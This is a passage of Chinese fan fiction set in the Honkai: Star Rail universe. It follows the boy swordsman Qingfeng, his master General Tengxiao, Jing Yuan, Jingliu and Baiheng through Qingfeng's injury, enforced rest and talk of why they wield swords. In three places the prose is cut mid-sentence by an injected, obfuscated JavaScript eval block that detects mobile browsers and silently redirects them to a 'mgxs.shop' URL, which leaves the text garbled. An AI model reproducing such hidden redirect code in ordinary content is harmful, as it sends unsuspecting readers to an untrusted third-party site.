也许是因为刚刚结束任务回航的缘故,女子周身还隐约带着几分生死间独有的杀意,她站在人群中,像一柄没能完全入鞘的剑。 虽然是第一次见面,但是清风第一眼便知道,她就是镜流,景元的师父,罗浮仙舟现任最强的剑客——罗浮剑首。 清风止不住内心沸腾的思绪,向腾骁将军一字一句道:“我本来是想等一等的,缓一缓,等到了比武台上和她试试,可是在看到她的时候,我等不及了,我当时立刻马上就想看到她的剑!所以我直接就出招了,用我自认为最厉害的剑招……” 清风直视着腾骁将军的双眼,“师父你一定可以理解的吧。” “……” 腾骁将军并未回话,只是静静地看着清风,看着他那双蓝色的眼眸。 距离腾骁将军和清风的上一次对练并未很久,不过几日罢了,但是此时,腾骁将军看着清风,心中笃定,自己的这位徒弟于剑道一途上,肯定又迈了大大的一步。 无需实战对练,就是可以这样肯定。 半晌,腾骁将军又看了眼徒弟满身的伤,还是忍不住开口道:“就算这样,你也要小心一些,看看你这身伤,就算仙舟人自愈力再强,也不能这样乱来,这下好了,虽说这伤并不重,但是没个几天也是恢复不过来的,耽误了习剑,我看你小子这几天上哪哭…………” 这话就纯纯属于是亲人之间的担忧罢了,毕竟再怎么说,刀剑无眼,武艺切磋哪有小心就可以避免受伤的呢? 当然道理是如此,但是清风面上还是连连点头应和了下来。 “是是是,师父您说的是,我下次一定小心。” 关心人的话语一旦开了个头,很多时候便会如同出闸的溪流,停不下来。 听着耳边自家师父的念叨声,清风面上的表情也逐渐由认真变得勉强。 “……师父知道你喜欢剑,但是凡是也要量力而行不是?之前到处搜集那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437589|200989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 危险物品,师父也不是完全反对你,但是总归那些东西是带有一定的危险性,你天天带在身上成何体统……还有……” ……………… 清风:…… 求助的目光投向自家最为靠谱的小伙伴。 景元!救救! 一边,从始自终都未曾发言的景元看着好友求助的眼神,原本略微有些凝滞的嘴角再度扬了起来。 哈哈哈,这不还是和平时没有什么区别嘛。 不过这样看着好友乖乖听训的时候实在不多见,要知道平日里面对腾骁将军的训斥和嘱咐,这家伙总会有各种各样的理由手段逃离开去,今日不知是因为理亏还是别的什么,总之可以看到好朋友这个样子,值了! 就在清风要被腾骁将军满怀的“关心”所彻底淹没的上一秒,景元终于还是出手相助。 “将军放心吧,经过今日一事,想必以后阿清做事一定会有分寸的。” 听着景元的话语,腾骁将军终于停下了口中念叨,看着景元乖巧的模样,再看看自家徒儿看似乖巧实则对于自己话语“不耐”的样子。 腾骁将军:…… 看看人家镜流的徒弟!再看看自家的。 腾骁将军闭了闭眼睛,对着景元点了点头:“这段时间小友也辛苦了啊。” 景元回想了认识清风这段时间以来的“快乐”美好时光,心虚了一瞬,面上却客气道:“哈哈哈,将军说笑了,不辛苦不辛苦……” 将军却当这所谓的不辛苦是客套话了,他将视线转到清风身上,看着他悄悄松了一口气的样子,怎么看都觉得少了点什么。 …… 看着师父长久地盯着自己的样子,清风的直觉发出阵阵“警报”。 总觉得自己要倒霉。 没有缘由地,清风就是这样认为。 半晌,腾骁将军发话:“接下来的一个月,待在这好好养伤,哪儿也不准去,剑也不许碰。” “什么?!!” 此话宛若晴天霹雳,将清风原本淡然的面容劈了个七零八落。 “师父!!!!不要啊!!!!!” 景元发誓,这一声呐喊中所包含的痛苦乃是他认识阿清以来最为浓厚的一次。 “哼!”腾骁将军冷笑一声,心中隐约的空虚终于在这一声呐喊中得到了填补,“别以为先前你那样解释,我就可以当作什么都没有发生过,知不知道在码头搞出那样的事情,后续有多少工作我需要去修补?这一次次没的商量!景元小友你帮我看着他,要是这一个月内他敢离开这里或者拿剑玩儿……” 将军面露威胁看向清风,“……只管和我说,犯一次,时间延长一周!” 清风原本躺在床上的身躯早就因为听到噩耗而直立,他伸出手,对着师父毫不留恋的离去背影,仿佛这样就可以让其坚定的步伐有所停留。 “咔嚓。” 清脆的关门声,证明了那不过是徒劳。 停留什么的,不可能的。 “景元!”聪明的清风将目光转向自己最好的兄弟。 兄弟!你一定不舍得我受此“酷刑”的!对吧! 看着阿清“痛苦”的表情,景元内心的小人勾起了幸灾乐祸的笑容,然而面上却是露出一副“爱莫能助”的叹息。 “好兄弟,将军说的也没错,这段时间你还是好好养伤比较好,更何况……”景元面露难色,“其实我师父也嘱托我好好照顾你,所以说,师命难违……” …… 阿清,阿清听到此话,逐渐“破碎”。 似乎有什么声音?嗯,是某人心碎的声音。 至于镜流师父真的有嘱托景元好好照顾阿清吗?景元露出了神秘笑容。 嘿嘿。 * 腾骁将军关好门,一抬头,便看到前方靠墙伫立着一个熟悉的身影。 “哟,镜流,”将军抬起手打了声招呼,“有段日子没见,这次任务还顺利吗?” 白发的女子抬眸:“承蒙将军挂念,此次任务圆满完成。” 说着,她朝着将军的方向走了几步,道:“只是没想到,不过几月时间,仙舟上竟多了一个剑术如此高超的小家伙……” 清冷的面容上此刻露出了一个饶有兴致的笑容:“……不知将军现在是否有空,和镜流聊聊?” 4. 第 4 章 * 镜流此人,罗浮仙舟剑首,剑道第一人。 身为云骑军的一员,除却平日职务,平日里也兼职教导云骑军剑术。 剑术作为罗浮仙舟每一位云骑的必修课不可谓不重要,毕竟剑术不仅修身,更修心。身为云骑,若没有坚定的心智和强健的体魄,在讨伐丰饶孽物、守卫仙舟一途之上必然无法长久。 可即便如此,能够将剑术修习至巅峰之人依旧稀少。 也许是仙舟之上对敌的手段实在太多,流火炮、穿云击、自动化追踪系统……哪一个不比那单一的长剑要来的好用?又也许是没有人认为自己能够将那剑术修习至镜流的地步。 无论如何,对于仙舟之上突然多出了个剑术高超的存在,镜流的内心是喜悦大过惊讶的。 “没想到短短几月,将军便收到了剑术天赋如此之高的徒弟,”镜流对着腾骁将军道,“就是这出场方式着实让人有些意外,若不是那迎面而来的剑招未曾有过半分杀意,镜流当真要以为罗浮仙舟被外敌入侵了去。” 腾骁将军汗颜。 看看看看,眼前这不就是需要他给徒弟收拾的“烂摊子”之一吗? 可不等腾骁将军开口说些什么,镜流便率先继续道:“将军莫要误会,镜流此番前来可不是为了兴师问罪的……” 听闻此言,腾骁将军眼底微微一亮,当即便把内心斟酌着的话语抛掷脑后。 哎呀早说不是来秋后算账的嘛,好说好说。 只要不是因为清风惹的事而来的,将军都欢迎。 繁琐的文书工作除外! 镜流察觉到腾骁将军不着痕迹的放松后,内心也不由莞尔。 想几十年来即便是面对再强大的对手,腾骁将军都未曾有过半分动摇的心境,如今竟因一个才相处不过几月的徒弟而频繁波动…… 思及此处,镜流的脑海里又不由回忆起在罗浮仙舟码头之上所面对的那让人惊艳的剑招,内心对那位尚且陌生的孩童的好奇又多上了几分。 “……此番前来,镜流只是想知道,那孩子的剑术,可是将军所教?”镜流语气平淡,但从面容来看,丝毫看不出其半分内心波动。 “若说那基础的剑术指导,那确实是我手把手带着他的,”腾骁将军并未有丝毫的隐瞒,毕竟这本就不是什么秘密,“可我想,你最想知道的应该并不是这个。” 镜流不语,只是点了点头。 是的,她最想问的是那孩子在那仙舟码头对着自己所出的剑招…… 在那码头之上的剑招对决,若是道听途说,大概会以为是一场有来有往的对决吧,实则不然,剑招交锋,其实也不过一瞬而已。 真要仔细说来,不过两招。 第一招,那孩子拔剑攻来,镜流格挡,此为一招试探。 这一招,那孩子确信了自己身为剑首的身份,这一招,亮明的那孩子的来意,也让镜流清楚地知道了一点——那孩子,是一名不折不扣的剑士。 即便外表年幼,可外表从来不是界定一个人的标准。 那孩子攻来的剑招之中,明晃晃地,如天上繁星一般耀眼的剑意,让镜流也不禁侧目…… 小小年纪,剑术之上竟可有如此不低的造诣。 而一名年幼的剑士毫无缘由地对另一名剑士发起并无恶意的攻击,能是为何? 是了,那自然是为切磋,是为两名剑士之间对于剑术的最为纯粹的交谈。 这便是二人之间第二招的起因。 第二招。这一招,是为向那同为剑士的孩子表达同为剑士的尊重,所以,镜流让那孩子看到了自己最为纯粹的剑意。 剑为何物?是为杀敌之利器,是凶器,是战场之上割下敌人头颅最为直接便利的方法。 镜流让那孩子看到了自己曾经在战场之上斩下多名战兽的杀伐之剑。 这一剑,如寒霜,如明月,如死亡…… 曾经,不知多少同僚和敌军败在此剑之下。有的未战先逃,丧失斗志;有的勉励抵抗,却在剑刃相触之时原形毕露;有的强装镇定,实际上却早已四肢僵硬,动弹不得…… 所以,那小小的剑士,你又会如何应对呢? 不可否认,此时镜流的心中也带着几分期待。 她单手紧握长剑,抬眼望去,却只看见一片蓝色的眼眸,沉浸却又饱含热烈。 内心略微怔愣了一瞬,她眼帘微抬。 那孩子,竟然连半分动摇和恐惧都没有,她看到的,只有那满溢的兴奋。 是了,面对强大的剑招,就应该这样才是! 那孩子是剑士,自己也是剑士,剑士和剑士之间的对决就应该是这样才是,没有丝毫退却,只有单纯的 ,对那剑途的追求…… 你的剑会是何种模样呢? 镜流赤红的眼眸中扬起几分兴味。 第二招,让我看看你的剑意吧。 ………… 而最后的结果,自然是让两位剑士皆心满意足。 小剑士的剑意很不错,随尚显稚嫩,却不难看出以后强大的模样。 也因为这,让平日里淡薄的镜流心中升起几分好奇:这剑,究竟是谁教导他的? 她的内心有几分猜测,却依旧来小剑士的师父这里,寻求一个确定的答案。 “虽然很想说,阿清那精妙的剑术是我所教,但是很可惜,我虽然是将他带入剑途的领路人,但那后来的路途,却全然是他自己努力的成果。”腾骁将军语气平淡,嘴角带笑。 “那孩子第一天拿剑,便掌握了所有的基础剑术,[刺]、[斩]、[点]、[撩]、[穿]等基础一学便会,一般云骑军需要至少一个月的时间才能掌握皮毛的剑法他看一遍便可寻得其中几分真意……”腾骁将军一字一句,对着认识多年的同僚仔细介绍着自家徒儿的习剑过程,面容看似沉稳,可眼里的自豪却暴露了几分内心真实的想法。 怎么样!这么天才的孩子,是我的徒弟! 而接下来镜流的反应正中下怀。 “嗯,确实是一位不可多得的好苗子。”镜流点了点头,毫不吝啬自己的夸赞。 旋即抛出了自己最为感兴趣的问题。 “所以,将军您知道,那孩子是为何而挥剑呢?” 问题一出,将军动作一顿,眼里的神色乍然柔和了起来。 “挥剑的……理由吗?” …… “为何而挥剑?”另一边,清风躺在床上,用再平常不过的语调回答了这个问题。 “是为自己,也为所有自己所珍视的一切而挥剑。”说着,清风将目光看向床边的好友,“简单来说,我手中的剑,是为了守护为挥。” “守护?”景元念叨着这个词汇,像是第一次听到这样的理由,又像是对这个理由感到意外,金色的眼眸微微放大。 清风理解的对他笑了笑,“很奇怪吧?” 须知,虽然说剑在兵器之中向来有‘百兵之君’的称呼,可其实,剑是最为凶险纯粹的杀人之器。 刀剑无眼,有时切磋的时候其他武器都尚有留手之处,刀可用刀背,长枪可用其棍身,若用长棍比斗更是只需注意几分力道便可……可剑不一样,剑除了剑柄,剑身两边皆为伤人之刃,甚至剑尖也不是平直钝器,而是如高耸山峰一般的锋芒,即便用两刃之间平直的剑身攻击他人,一个不小心,那两边锋利的剑刃也依旧会人身上留下鲜红的色彩。 所以说,若要用其他武器,尚且还能留有几分余地,可若用剑进行比斗,那见血几乎是必然的结局。 也正因如此,用剑才更需小心,用剑才更需克制……想来也是因为如此,剑才有‘百兵之君’的称呼吧。 而最喜用剑的清风,却说他挥剑的理由是为守护,正如一个人放弃盾牌转用最为强大的武器说要保护他人一般,两者间颇有些矛盾的意思。 可景元并不这样认为。 “不奇怪。”他摇了摇头,对阿清道,“每一位云骑军依据仙舟规定都需要修习剑术,因为剑术不仅修身,更修心,修习剑术的目的不仅仅是为了锻炼身体,很多一部分也是为了让云骑明白,大家手中所挥舞的剑器是为守护而存在……” 景元看着阿清只愣愣看着自己的面容,脸上露出一个清浅的笑容:“……云翳障空,卫蔽仙舟,这是每一位云骑都曾立下的誓言,所以阿清,你挥剑的理由不正好和仙舟云骑一样吗?” 阿清听闻眨了眨眼睛,看着景元,像是思索一般又晃了晃脑袋,半晌,他做出了恍然大悟的表情。 “有道理!”他亮着眼睛对景元道,“云翳障空,卫蔽仙舟!我真是,怎么把这一点给忽视了呢?!景元不愧是景元,比我聪明多了!我怎么就没有想到呢?” 听到好友的夸赞,小景元不好意思地笑了笑。 “哪有……明明你才是……” 未尽的话语在舌尖饶了绕,吞回腹中,在脑里转悠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437590|200989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明你才是最让人仰望的那一个。 保护,守护……说起来容易,可真要做到,这世间又有几人能够做到呢?可偏偏说出这话的人是清风,那个言出必行,剑术冠绝,让所有人都如沐春风的阿清。 如果是他的话,他确实……或者说一定能够做到。 景元这样认为。 “……为自己所珍视的一切而挥剑?”阿清先前的话语又转进了景元的小脑瓜中。 阿清所珍视的一切,会是什么呢? 可还未等这个问题的答案浮现,耳边,好友的话语已然打断了景元内心的思绪。 “那你呢?景元?”阿清问道,“你又是为何而挥剑?” “我?”景元略微怔愣,像是没有想到这个问题的答案,又像是单纯意外好友的提问。 “是啊,你既问我挥剑的理由,想来你也是有属于你自己的答案吧。” …… 出乎清风意料,景元沉默了下来。 半晌,他开口回答:“其实……并没有什么特别的理由,只是想学剑,所以就去学了。” 小景元开口,以一副叹息似的口吻道:“……你想笑就笑吧,学剑多年,到现在,对于挥剑的理由,我自己都说不出个所以然来…………你干嘛!” 景元话未说完,阿清便泪眼汪汪不顾身上伤痛对着自己的好兄弟来了一个大大的拥抱。 一边抱,一边大声称赞:“呜呜呜,不愧是我的好兄弟!不知道为什么总之反应过来的时候已经做了的这种气魄!我怎么就没有这种魄力呢!景元你真是太帅啦!” “少拍马屁了!还有你好肉麻快躺回去!伤口要裂开了啊啊啊啊!!!!”景元努力将自己的好兄弟压回病床,内心对于腾骁将军的敬意此刻直线上升。 清风的脑回路,真是永远也猜不透! 一番鸡飞狗跳(?)的闹腾过后,清风重新好好躺会了病床,景元也重新坐会了自己的位置。 不过静养二字,向来和清风联系不上。 “诶诶~景元,你说要是等我以后当上了剑首,那你师父该怎么办?我抢走了她的剑首之名,她会不会生气啊?”重新冷静下来了的清风竟然开始认真思索这件事情并为此烦恼,全然忘记自己现在浑身伤痛地躺在床上的模样究竟拜谁所赐。 听闻此言,景元无奈地眯了眯眼,对好友道:“现在想这个未免早了点……你才习剑多久,还剑首……” 说着,还对其撇了撇嘴。 再怎么说,那也是他景元的师父,罗浮仙舟剑道第一人,若是那剑首的名头真那么容易易主,其剑术威名也不会在联盟内那么赫赫有名。 “嘿!小瞧我,早晚的事!”阿清对景元扬了扬下巴,眼珠子一转,又幻想起自己以后成为剑首的日子。 “你想想,等到了以后,我当剑首,你当将军~就像我师父和你师父一样……不过我比你能打,打架的事我多干点,你脑子比我好用,动脑子的事情你多费点心,到时候咱俩一文一武~所向披靡~联盟内,在我们的英明领导下,罗浮仙舟一定会成为最好的一个!打得丰饶孽物闻风丧胆,步离一族谈虎色变……”说着说着,阿清的语气也愈发欢快起来,身体上的外伤内伤似乎都失去了痛楚。 然而面对好兄弟的美好幻想,景元毫不留情地径直将其打破。 “我才不要,”景元略带几分嫌弃地看着阿清,直言道,“到时候你肯定只顾着自己拿剑打架然后把其他事情都丢给我,我才不会上当呢……” 聪明的小景元早就看穿了小清风的所有小心思! 阿清:! 心虚目移,旋即立刻正色:“你怎么可以这样看我呢好兄弟!咱俩还是不是好朋友了!再说了,以后你不当云骑,难不成还有别的好想法?” 说到这个,景元眉眼间也带上了几分兴致,他道:“那当然!” 他伸出手指了指天花板,道:“以后我要像白珩姐一样,当一名巡海游侠,在寰宇内各个地方四处行侠仗义!!做好事不留名,感受各种星系的美好风光和人文景色……” “哦哦哦!!!”阿清听闻,双手配合地轻轻鼓掌,一副似懂非懂的样子,他点了点头,重复自语,“……巡海游侠啊。” 然后疑惑问道:“那是啥?” 景元:嗯? 这家伙不知道什么是巡海游侠? “还有……”阿清乖巧举手,持续发问,“白珩姐,是谁?” 5. 第 5 章 * 白珩! 狐人,巡海游侠,罗浮仙舟天舶司王牌飞行士! 当然对于阿清来说最重要的是狐人! 狐人!那个有着毛绒绒的耳朵和尾巴的神奇生物! “对~就是有着毛绒绒、软乎乎的耳……”藤发的狐人顺着清风的话语往下说着,旋即话头一顿,“……重点是这个吗?” 她看向躺在病床上满眼放光的清风,而后又将目光转向一边一副习以为常的景元,沉默了。 白珩:这就是景元新交的好朋友,镜流口中那位剑术天赋超高的小朋友吗? 然而她的沉默并不能阻挡清风的热情。 “狐人……”阿清目光飘忽了一瞬,而后语气中带着几分好奇、几分探究、几分不好意思地向藤发的狐人道,“请问,你们狐人,真的会用…………吗?” 那话语说到末尾,声音却愈发小声,以至于到最后听起来就像蚊子的嗡鸣。 “什么?”白珩不由将脑袋往前凑近了稍许,试图用缩短距离的方法听清这位小朋友的话。 “就是……真的会用………毛发…吗?”清风似乎觉得这是一件不好说出口的话语,再次重复的时候脸上带着几分犹豫。 倒是距离清风最近的景元,这次听清楚了清风的话语,脸上的表情也从原来的好奇转变成了无语的木然。 这是重点吗? 景元内心的想法最终也变得和白珩一样。 而另一边,在面对白珩愈发不解疑惑的表情中,清风终于鼓起勇气,大声说出他一直想知道但是又一直不好意思问出来的话语。 “请问你们狐人真的有保持毛发柔顺的秘方吗?!”清风看起来想知道这件事情很久了,大声说出来的话语中甚至夹杂着细微的期待(他到底在期待什么啊?),“如果有的话,我可以用……我是说,方便推荐给我吗?我有一个朋友很需要这个东西!” 景元:真的是朋友需要吗? 白珩:………… 长这么大这么多年了,还是头一回有人问自己狐人保持毛发柔顺的秘方。 话说他刚刚是不是说了要自己用?仙舟人,用狐人的毛发护理剂?? 即便是见多识广如白珩,一时间也不知道这位刚刚认识的小朋友内心究竟是何想法。 内心虽不解,面上白珩还是秉持着身为长辈要好好回答小孩问题的态度,认真地回答道:“没有什么秘方,耳朵和尾巴的打理,都是用市面上常见的各种护剂,没有什么特别的地方……” “是吗?”清风一脸认真求指教的样子,时不时发出对于毛发护理的自我见解和疑问,“我之前也有和一些狐人聊过,大家的毛发状态好像都不一样呢,顺带一提其实我觉得那种带着细卷的毛发手感似乎要更柔和些,但是好像打理起来会更麻烦……” “毛发啊……我的毛发一直都是那种比较柔顺的状态,反倒不需要花太多时间打理……”不知不觉,白珩的思维也被清风拉入了对于毛发打理的各种小技巧中。 ………… …… 眼见话题逐渐被清风带偏,面前的两人话题也从毛发的打理变成了各种毛绒绒手感的探讨,景元眼角抽了又抽,终于忍不住开口。 “白珩姐,所以你今天到底是为何而来?”景元朝着相谈甚欢的两人挥了挥手,道,“我记得你刚刚回来,虫洞穿梭很消耗精力的,不再多休息几天吗?” “嗨,那点小波动,下船那段小路程就恢复过来了,哪还需要几天那么费时?”白珩满不在意地摆了摆手,而后看着景元,话语间带上几分调笑,“还是过来看看我们的小景元和新朋友更重要些不是?白珩姐不在的这段时间,有没有在学宫好好学习呀?” 学宫…… 景元的眼神顿时不受控制地飘忽了一瞬,连带着病床上的清风都消停了少许。 虽然这段时间是有好好上课,但是要说认真,那是完全没有的。 毕竟作业哪有和好朋友出去玩来的有意思呢? 是以此话一出,二人自然心虚不已。 看着平日里乖巧回话的景元不自然的面容,白珩看了眼清风,心下了然。 看来这是交到了新朋友,玩得乐不思蜀了呀。 白珩一边内心感叹小朋友间美好的友谊,一边内心感到了些许意外。 要知道按照从前白珩对于景元的了解,虽说他也对学宫给一些课程感到枯燥无趣,可也还是会认真完成,面对学业方面的问题也向来都是一副胸有成竹的模样,可今日一看,同样的问候,却是下意识地心虚。 想来这段时间,对于学业,应该是完成了但是又没有认真完成的状态。 但白珩认为这并非是什么坏事,小孩子嘛,贪玩才是正常的。 白珩想起以前小景元安安静静的模样,在看着现在坐在清风身侧明显鲜活起来的样子,面上忍不住露出了些许欣慰的笑容。 而后又将话题移到了清风的身上。 “阿清不知道巡海游侠?”对此白珩有些意外,毕竟在大多数人都信仰[巡猎]的仙舟联盟,很少有人不知道这一个同为巡猎一途之上的组织。 “你到底是哪个偏僻之所出来的人?”白珩言语中带着单纯的好奇,“按照联盟的教育制度和学宫的教学,不应该不知道啊……” 听闻此言,景元也投来了好奇的目光。 这个问题,不止他们,其实罗浮仙舟之上的很多人也感到好奇。 清风,就像是一个凭空出现的人,没有家人,没有朋友;某一天突然被将军带了回来,在丹鼎司修养了许久;然后又某一天被将军收为徒弟,进入学宫学习…… 在此之前,罗浮仙舟之上却从未有人知晓他的存在。 可仙舟之上,人数众多,大多数人各种猜测终究不过捕风捉影,终究只是落下一句“将军惜才,慧眼识珠”的结论。 然而这段时间与清风最为亲近的景元却是知道,自己这位好友并不是在仙舟联盟所长大,这是无需思考便可以得出的结论。 因为清风实在是缺少各种常识。 一些日常生活知识倒是还好,可一旦说到寰宇间的各种知识,或是仙舟人人知晓的仙舟联盟历史,清风全都一副一无所知的模样,反倒是对于步离一族和丰饶一脉的一些鲜为人知的知识很是熟悉。 小景元向来聪慧的脑袋瓜这个时候就有些不够用了,思来索去也想不通到底是在哪里长大才会养成清风这样和仙舟人完全不同的常识结构。 “这个,是从一个离这里有一点远的地方长大的……”对于这个问题,向来说话洒脱的清风倒是少见地显得有些含糊,像是在纠结到底要不要告诉面前两位自己很有好感的朋友。 “神神秘秘的,”看着小朋友这副样子,曾经云游星际的巡海游侠,白珩心里的好奇心更是多了几分,“哪里啊,说来听听?没准你白珩姐我还去过呢。” 小景元听闻,也赞同的点了点头,两只眼睛直勾勾地盯着清风,看起来也是好奇许久。 小清风皱着眉头,平日里带着笑意的眼眸此刻充满了纠结,半晌,在四只好奇期待的眼神中,干巴巴地冒出一句:“那个地方,没什么好的,又冷又无聊,安静地不得了,人也不怎么样,没什么好说的啦。” 听到这样的回答,见闻尚且不多的景元心里更加的摸不着头脑了。 冷?安静?无聊?难道说是是什么一年到头都很冷的仙舟洞天之所吗? 小景元开始努力回忆学宫里所学习的知识,试图从这些知识里面找寻出一个符合好友说法的地方。 而与之相反的,见多识广的白珩内心却是微微一沉,联想起自己所听闻的各种传闻、将军的态度、天舶司前段时间新增加的机密文件、面前小孩对于提及过去的那份犹豫……各种各样细微的线索这一刻在她的内心迅速编织成网,拼凑出一个零散的真相。 这个孩子,难道说是在步离的实验基地长大的? 虽说这种可能性很小,但也并非没有可能。 步离身为丰饶阵营的大头,其名声在寰宇内向来不好,烧杀抢掠,无恶不作,拿长生种做实验的事情对他们而言和吃饭喝水一样简单容易,曾经狐人还未加入仙舟联盟之时便深受其害,直至如今,两族依旧是水火不容的关系。 这其中若要仔细说起来,可牵扯的事情三天三夜也说不完,是以内心如是这般有所猜测的白珩当下便止住了自己翻腾的思绪,用轻柔的语气对清风道: “没事,不想说那便不说,反正现在在罗浮,好玩有趣的东西多的是,到时候白珩姐带你和景元好好玩!” 说着,还对小孩挑了挑眉毛,就像一位潇洒肆意的游者。 听到这话,清风浅浅地松了口气,而后还是解释了一句:“其实我也想告诉你们的,但是师父嘱托我能不说尽量不说,而且,那也的确不是什么好地方……” 小孩低低叹了口气,明明不过是个还在学宫学习的孩子,这一口气却硬生生地给他叹出了几分历世的“沧桑感”:“很早之前,我和师父说起那些的时候,他总是用一种很肉麻的眼神看着我,就连玄羽姐,丹鼎司给我看伤的医士……总之很多人,在知道了我以前的故事之后,或多或少都会用那种……我无法形容的眼神看着我……” 小清风语气微顿,犹豫了一下,还是继续道:“其实我自己是觉得没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437591|200989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,人总是要向前走的,不管从前经历过什么,是痛苦还是快乐的,我们总是应该活在当下,展望未来,如果将所有的时间经历都放在从前早就已经过去的时光里,拿不就相当于自己放弃了那个可能会变得更好的未来了吗?所以后来……虽然也有师父嘱托我了的原因在里面,但我自己也开始很少说起以前的事情了……” 说到这,小清风看向二人的眼神中带上了几分无法坦诚的歉意,“……我的过去很无聊,说出来很没意思的啦,你俩就别问了。” 小景元听了,倒是露出了一副似懂非懂的表情。 “那就不说,其实我也没那么好奇。” 好兄弟说的话有些听不懂,但是听起来很有哲学道理的样子,总之先点头肯定没错。 不过既然他不想说的那就不说,反正景元对于清风的过去也没有其他人那样非得知道的好奇。 清风是景元看重的好友,知道这一点便足矣。 而和景元这般轻描淡写的想法不同,白珩的眼里看向清风早已不是一开始看小朋友的神色了。 就算还当小清风是小朋友,那也一定是可以面对面站在同一高度的小朋友! 看走眼了。 白珩心里的第一想法。 这孩子确实是一个剑士,镜流的眼光还是一如既往地好。 白珩心里的第二想法。 看着和景元相谈甚欢的清风,白珩眼底勾起一抹期待。期待这个孩子长大后的样子,期待这个孩子站在自己身后与同伴并肩作战的模样,就像当初景元刚拜镜流为师之时所期待的那样…… “对了!”那边,清风像是突然想起了什么重要的事情,将目光转向白珩,语气里带着几分恳求,“所以,白珩姐可以让我摸摸你毛绒绒的耳朵吗?!” 白珩:? 这话题的跨度是不是快了些? 像是觉得这样的请求不是很好,清风又开口找补:“……耳朵不行尾巴也可以!求求了!” 景元毫不意外地看着好兄弟一脸期待的神色:嗯,他是真的很喜欢毛绒绒。 而后又回想起前段时间好兄弟动不动就摸摸自己发尾的行为…… 景元:= = 再说一遍,他真的很喜欢毛绒绒的各种东西,茂密的头发大概也算。 白珩笑容不变,嘴里吐出的话语冷酷无情:“不行。” “就一下就好了!不是说狐人的耳朵关系好的好朋友也可以摸一摸吗?难道我们不是好朋友吗?” “论辈分你得叫我姐呢,哪有后辈摸长辈耳朵的?而且你是不是忘了,我们今天才第一次见面。” “那我长大以后是不是就可以……”聪明的清风小朋友很快便找到了语言的漏洞。 白珩对此嘿嘿一笑,“长大后也不行……” “欸……”失望的语气千回百转。 所以为什么所有的狐人都不愿意给他这么可爱的小朋友摸摸耳朵和尾巴! 还是好兄弟好啊,头发什么的随便摸。 心里这样想着,清风将爪子熟练地往好兄弟发尾上一摸……摸了个空? 清风,清风内心有种不好的预感,而后将看向自己的好兄弟。 “我感觉……平辈之间这样摸,似乎也不太好……”景元语气里带着明显的笑意,然而刚刚被拒绝的清风却并没有听出来,他只看到自认识以来从未拒绝自己摸摸的好兄弟今天拒绝了自己! 清风:T T 清风仰头,只觉得这一次受伤自己所遭受的伤害是几个月以来最多的。 他挪动着身体将自己埋入温暖的被窝,在白珩和景元或无奈或好笑的目光中闭上了眼睛,赫然一副伤透心要好好修养的样子。 伤心了,毁灭吧,这个冰冷的世界…… 看着难得低落的清风,景元眼底的笑意终于忍不住浮出水面,那般模样,哪有平时聪慧稳重小大人的样子。 而看着比从前鲜活了不少的小景元,白珩眼底也充满了笑意。 …… * 与另一边,工造司一处锻造室内,黑发的匠人看着面前桌上新鲜出炉的器具,内心颇感无语。 也许是第一次锻造如此……奇特的机巧吧。 毕竟自拿下工造司“百冶”的名头以来,已经很久没有接到如此……无聊、奇特却又有趣的订单了。 看着眼前的大概可以称为“鱼竿”的机巧器具,匠人拿起手中的通讯器,在某个订单上勾选了已完成的选项。 …… 不知道是什么人下的订单。 看着手中通讯器的界面,名为应星的匠人心中少有的,升腾起了几分好奇。 6. 第 6 章 * 然而应星完成的机巧器具,注定是没有那么快可以来到其真正主人的手中。 毕竟下订单的甲方,现在还在丹鼎司痛苦地养伤。 不过好在仙舟人的自愈力向来出色,且清风其人的体质不知为何,恢复程度远超一般人,是以不过十几天的时间,那切磋而造成的伤势便恢复得差不多了。 “所以,什么养伤一个月,其实是关禁闭一个月……”阿清蹲在病房的角落,无助地在地板上画着圈圈,远远望去,就像一只发了霉的蘑菇。 半晌,他眼泪汪汪地转头看向身后端坐在座椅上看着书的好友:“景元……” 那语气,千回百转,那表情,肉麻至极,那眼神…… 而景元,景元不为所动,不动如山:“你的伤还没好全呢,将军叫我好好看着你,不许到处乱跑。” “已经好的差不多了!”阿清听闻从地上一蹦而起,几步冲到好友身侧。 像是为了证明自己身体的恢复程度,说完,还原地蹦了几蹦。 景元缓慢放下手中的书籍,看着好友这一副可怜兮兮的模样,内心有了几分动摇。 说实话,他也有点想出去玩,虽说他并不排斥在一个地方安静待几日,但是很多时候,他和阿清一样,也是个喜欢到处玩耍的小孩。 特别是在认识了阿清之后,体会到了和好友到处上蹿下跳的快乐时光,从前静坐在原地看书学习的日子便显得愈发枯燥起来,着实没有意思。 